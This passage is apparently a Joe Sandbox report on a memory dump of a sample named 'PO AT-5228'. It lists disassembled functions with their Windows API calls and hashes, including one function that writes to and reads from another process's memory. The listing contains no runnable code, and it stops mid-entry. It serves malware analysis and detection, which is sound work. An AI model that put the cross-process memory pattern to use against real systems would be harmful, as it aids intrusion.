BeginPath.GDI32(?), ref: 00B7B009
SelectObject.GDI32(?,00000000), ref: 00B7B033

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: d4b9810c03e5e22248d4fb154b40ae483fcbef5bdee8c01a0b1828bb37df6758
Instruction ID: fb9cae7a493d8fbe21058950a27c020f9a2ccbc1932faeb9b79dfbf453c51e2b
Opcode Fuzzy Hash: d4b9810c03e5e22248d4fb154b40ae483fcbef5bdee8c01a0b1828bb37df6758
Instruction Fuzzy Hash: 4A217475810349EFDB21DF55EC84F9E7BA9F720355F18825AF8359A5A0D3704842CF91

Function 00B8217F Relevance: 7.6, APIs: 5, Instructions: 61threadCOMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00B821A9
CreateThread.KERNEL32(?,?,00B822DF,00000000,?,?), ref: 00B821ED
GetLastError.KERNEL32 ref: 00B821F7
_free.LIBCMT ref: 00B82200
__dosmaperr.LIBCMT ref: 00B8220B

Part of subcall function 00B87C0E: __getptd_noexit.LIBCMT ref: 00B87C0E

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: CreateErrorLastThread__calloc_crt__dosmaperr__getptd_noexit_free
String ID:
API String ID: 2664167353-0
Opcode ID: 36d39cad8732b4024b8ecdb4b54b1f9b1e5831f325e7a14780515aea77e83f97
Instruction ID: ffa1eab08c19c6cc3af6d2c6629a8950db71a4178be91a908845e7eb7eb829f3
Opcode Fuzzy Hash: 36d39cad8732b4024b8ecdb4b54b1f9b1e5831f325e7a14780515aea77e83f97
Instruction Fuzzy Hash: F611E132148346AFAB11BFA4DC41DAB3BD8EF04764B2004A9F9249B1B1EF71D811CBA0

Function 00B9ABBB Relevance: 7.5, APIs: 5, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 00B9ABD7
GetLastError.KERNEL32(?,00B9A69F,?,?,?), ref: 00B9ABE1
GetProcessHeap.KERNEL32(00000008,?,?,00B9A69F,?,?,?), ref: 00B9ABF0
HeapAlloc.KERNEL32(00000000,?,00B9A69F,?,?,?), ref: 00B9ABF7
GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 00B9AC0E

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: 3690b934ffa42b5eafa680fc81033f90df5e49f8a9e9a6652c051350c2c9f745
Instruction ID: 72267dc5ce53a5865d12a83ae88e5a7e68466148a1458c1478bb6908e74da59b
Opcode Fuzzy Hash: 3690b934ffa42b5eafa680fc81033f90df5e49f8a9e9a6652c051350c2c9f745
Instruction Fuzzy Hash: 3F011971200244BFDF104FA9DC88DAB3FBDEF8A7557104469F945DB260DAB19C40CBA1

Function 00B99ABF Relevance: 7.5, APIs: 5, Instructions: 47stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32 ref: 00B99ADC
ProgIDFromCLSID.OLE32(?,00000000), ref: 00B99AF7
lstrcmpiW.KERNEL32(?,00000000), ref: 00B99B05
CoTaskMemFree.OLE32(00000000,?,00000000), ref: 00B99B15
CLSIDFromString.OLE32(?,?), ref: 00B99B21

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: a4fb44b3247fd862e969ff9bdfeeb56655811aacc8798c419ecbf5379bc2c8bf
Instruction ID: 8dd72cb62edee102be1bcc7b96cd39c718124765f07ab7de0346bb5bb16d3660
Opcode Fuzzy Hash: a4fb44b3247fd862e969ff9bdfeeb56655811aacc8798c419ecbf5379bc2c8bf
Instruction Fuzzy Hash: C8015676600218AFDB104F68EC84BAABBEDEF44752F148078F909DA210DBB4DD009BA0

Function 00BA7A58 Relevance: 7.5, APIs: 5, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 00BA7A74
QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 00BA7A82
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00BA7A8A
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 00BA7A94
Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 00BA7AD0

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: 1333f1fd3a81fb7c3136c16ada1497b0df0143b1a3958bf7b0a87fd82b0b65bd
Instruction ID: 8c5dc1023c9c5c3ae5326a1e5277b51da7913c90db49556b20941b5ce8651749
Opcode Fuzzy Hash: 1333f1fd3a81fb7c3136c16ada1497b0df0143b1a3958bf7b0a87fd82b0b65bd
Instruction Fuzzy Hash: 6F012935D4C619EBCF00AFE4DC99ADDBBB8FF0A711F004595E502B6250DF70965087A1

Function 00B9AAC3 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00B9AADA
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00B9AAE4
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00B9AAF3
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00B9AAFA
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00B9AB10

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 5fe81c6534405de653732ff6e659ae4289126c734f150e45b1587b9e31dd68e0
Instruction ID: 09832c5fa0f003b89a7078ad1628e7be06e7113eff1fdd50e03b8401f3f0c234
Opcode Fuzzy Hash: 5fe81c6534405de653732ff6e659ae4289126c734f150e45b1587b9e31dd68e0
Instruction Fuzzy Hash: E3F062712002486FEB111FA4ECC8F673BADFF45754F004179F941DB190CAA09D01CBA1

Function 00B9AA62 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00B9AA79
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00B9AA83
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00B9AA92
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00B9AA99
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00B9AAAF

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 9c18b54a5cefc77413ba240c8ac4ffd2420bca00124c1cbd3ce9a594d94f982b
Instruction ID: 88247364c940401b14c84186136af276dedab6770630b4c11027a1db2233ba1c
Opcode Fuzzy Hash: 9c18b54a5cefc77413ba240c8ac4ffd2420bca00124c1cbd3ce9a594d94f982b
Instruction Fuzzy Hash: 94F04971200244AFEB115FA5AC89EAB3BACFF4A754F040569F941DB1A0DAA09C41CAA2

Function 00B9EC80 Relevance: 7.5, APIs: 5, Instructions: 40windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 00B9EC94
GetWindowTextW.USER32(00000000,?,00000100), ref: 00B9ECAB
MessageBeep.USER32(00000000), ref: 00B9ECC3
KillTimer.USER32(?,0000040A), ref: 00B9ECDF
EndDialog.USER32(?,00000001), ref: 00B9ECF9

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: 6cd6f6c1da28284a54c357567e24345904749870e9be9c3b147e97bd679a0426
Instruction ID: 17c3a21a70de0e3fab22d1dca6d88949a7909b53d3f9fd45432256514e48784f
Opcode Fuzzy Hash: 6cd6f6c1da28284a54c357567e24345904749870e9be9c3b147e97bd679a0426
Instruction Fuzzy Hash: C5018130500744ABEF349B50DE8EB967BF8FB10705F0009A9B593AA4E0DBF4EA44CB40

Function 00B7B0AB Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 00B7B0BA
StrokeAndFillPath.GDI32(?,?,00BDE680,00000000,?,?,?), ref: 00B7B0D6
SelectObject.GDI32(?,00000000), ref: 00B7B0E9
DeleteObject.GDI32 ref: 00B7B0FC
StrokePath.GDI32(?), ref: 00B7B117

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: a46a8cd5b5e39ab2faa6b64a71349578ddcf6f889accb24db62cdaafb910a439
Instruction ID: f4c0873b3c7b0c6b877b9a51d720cb33d3720013d6969af3c2467acded9f2453
Opcode Fuzzy Hash: a46a8cd5b5e39ab2faa6b64a71349578ddcf6f889accb24db62cdaafb910a439
Instruction Fuzzy Hash: A2F01934020248EFCB219F65EC4DB5C3BA5E720362F0C8355F829998F1CB718956DF50

Function 00BAF23D Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 277comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00BAF2DA
CoCreateInstance.OLE32(00BEDA7C,00000000,00000001,00BED8EC,?), ref: 00BAF2F2
CoUninitialize.OLE32 ref: 00BAF555

Strings

.lnk, xrefs: 00BAF28B, 00BAF290, 00BAF29E

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize
String ID: .lnk
API String ID: 948891078-24824748
Opcode ID: 0d95a7b8efd29d9bff4e57cd416bcfe692d0f87c49e52e07a35a595b8547f688
Instruction ID: 605b303dec41d86b9006ad68fbc39a8b933418fd5c83e8205e1d6ead7464b05a
Opcode Fuzzy Hash: 0d95a7b8efd29d9bff4e57cd416bcfe692d0f87c49e52e07a35a595b8547f688
Instruction Fuzzy Hash: 33A13B71104201AFD700EF64C881DAFB7ECEF98714F0489ADF59997192EB71EA49CB92

Function 00BAE7DD Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 261comCOMMON

Download Yara Rule

APIs

Part of subcall function 00B6660F: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00B653B1,?,?,00B661FF,?,00000000,00000001,00000000), ref: 00B6662F

CoInitialize.OLE32(00000000), ref: 00BAE85D
CoCreateInstance.OLE32(00BEDA7C,00000000,00000001,00BED8EC,?), ref: 00BAE876
CoUninitialize.OLE32 ref: 00BAE893

Part of subcall function 00B6936C: __swprintf.LIBCMT ref: 00B693AB
Part of subcall function 00B6936C: __itow.LIBCMT ref: 00B693DF

Strings

.lnk, xrefs: 00BAE83B, 00BAE84D

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize__itow__swprintf
String ID: .lnk
API String ID: 2126378814-24824748
Opcode ID: 848c64eba5ead7db43511f0e6a0086565c3cb6bffc30cfd07ab5fe6653525714
Instruction ID: 27f840b06467b834a4ed610ce9cc94d578449f37745e0186c45d0119a1576d22
Opcode Fuzzy Hash: 848c64eba5ead7db43511f0e6a0086565c3cb6bffc30cfd07ab5fe6653525714
Instruction Fuzzy Hash: C6A135756083019FCB14DF24C88496EBBE5FF89310F148998F9AA9B3A1CB35ED45CB91

Function 00B8325D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00B832ED

Part of subcall function 00B8E0D0: __87except.LIBCMT ref: 00B8E10B

Strings

pow, xrefs: 00B832C5, 00B832E2

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: ErrorHandling__87except__start
String ID: pow
API String ID: 2905807303-2276729525
Opcode ID: bcd8a5deef270bd7adae1f5b38cf56945b990381bda95f8edc2f8b31a14aa415
Instruction ID: 5cf99c26ed37eb2f885faa8c0252c0c59a239ea76f85c880b3c07e6fb9fa2f3c
Opcode Fuzzy Hash: bcd8a5deef270bd7adae1f5b38cf56945b990381bda95f8edc2f8b31a14aa415
Instruction Fuzzy Hash: F4512771A0920296CB157B18C98537A2BD4EB40F10F248DE8F4E6832F9DF75CE98DB46

Function 00BA4606 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 122COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(0000000C,00000016,00000016,00000000,00000000,?,00000000,00BFDC50,?,0000000F,0000000C,00000016,00BFDC50,?), ref: 00BA4645

Part of subcall function 00B6936C: __swprintf.LIBCMT ref: 00B693AB
Part of subcall function 00B6936C: __itow.LIBCMT ref: 00B693DF

CharUpperBuffW.USER32(?,?,00000000,?), ref: 00BA46C5

Strings

REMOVE, xrefs: 00BA4676
THIS, xrefs: 00BA4703

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: BuffCharUpper$__itow__swprintf
String ID: REMOVE$THIS
API String ID: 3797816924-776492005
Opcode ID: 6172734c11edf34ba5eab5fc651b7543f6e2d9a889d32c99ce90028a09c5de4d
Instruction ID: 91c2820fd1a05faec556464b97ece7f6ddaae91cb8d8faec1c278e5cf7ac119e
Opcode Fuzzy Hash: 6172734c11edf34ba5eab5fc651b7543f6e2d9a889d32c99ce90028a09c5de4d
Instruction Fuzzy Hash: 13418034A042499FCF01DF68C881AADB7F5FF8A304F1484A9E916AB392DBB4DD45CB50

Function 00B9C189 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BA430B: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00B9BC08,?,?,00000034,00000800,?,00000034), ref: 00BA4335

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00B9C1D3

Part of subcall function 00BA42D6: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00B9BC37,?,?,00000800,?,00001073,00000000,?,?), ref: 00BA4300

Part of subcall function 00BA422F: GetWindowThreadProcessId.USER32(?,?), ref: 00BA425A
Part of subcall function 00BA422F: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00B9BBCC,00000034,?,?,00001004,00000000,00000000), ref: 00BA426A
Part of subcall function 00BA422F: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00B9BBCC,00000034,?,?,00001004,00000000,00000000), ref: 00BA4280

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00B9C240
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00B9C28D

Strings

@, xrefs: 00B9C2A5

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: e4301c972a16bd665291de6b7821f1da5dea2be869e751ace6f22d19500e6b0c
Instruction ID: 63dda4b4453b87aeb789a4ef7f6822df6e4fd7695930621335603170f0335e97
Opcode Fuzzy Hash: e4301c972a16bd665291de6b7821f1da5dea2be869e751ace6f22d19500e6b0c
Instruction Fuzzy Hash: BE411972900218AFDF11DBA4CD81AEEBBB8EB49700F0041A5FA45B7181DBB16E45CB61

Function 00BCA63F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,00BFDC00,00000000,?,?,?,?), ref: 00BCA6D8
GetWindowLongW.USER32 ref: 00BCA6F5
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00BCA705

Strings

SysTreeView32, xrefs: 00BCA6AA

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: acc23313e32111b92675ead0ca4d6f2f672ed912ab05d7de451f3fe0a8973881
Instruction ID: e4722e1e92a6b6fe4060715187a9aba9ad6a2bbc3219726c9f4036cb3e8273b9
Opcode Fuzzy Hash: acc23313e32111b92675ead0ca4d6f2f672ed912ab05d7de451f3fe0a8973881
Instruction Fuzzy Hash: 2F316D31600209AFDB218E38CC85FEA77A9FB49768F244769F975A32E0D770EC519B50

Function 00BCA0D6 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00BCA15E
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00BCA172
SendMessageW.USER32(?,00001002,00000000,?), ref: 00BCA196

Strings

SysMonthCal32, xrefs: 00BCA129

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: f04011a806f4159f7ecd37ca7f2a5acf499294ea975cc8a6990c043786765dd2
Instruction ID: 7c3ac374a7f07fc920affc5436299835b13327122ec4cddcd1158add9673d138
Opcode Fuzzy Hash: f04011a806f4159f7ecd37ca7f2a5acf499294ea975cc8a6990c043786765dd2
Instruction Fuzzy Hash: 9A21D132510218ABDF118F94CC82FEA3BB9EF49724F140258FE55BB1D0D6B5AC51CBA0

Function 00BCA88A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00BCA941
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00BCA94F
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00BCA956

Strings

msctls_updown32, xrefs: 00BCA8BB

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
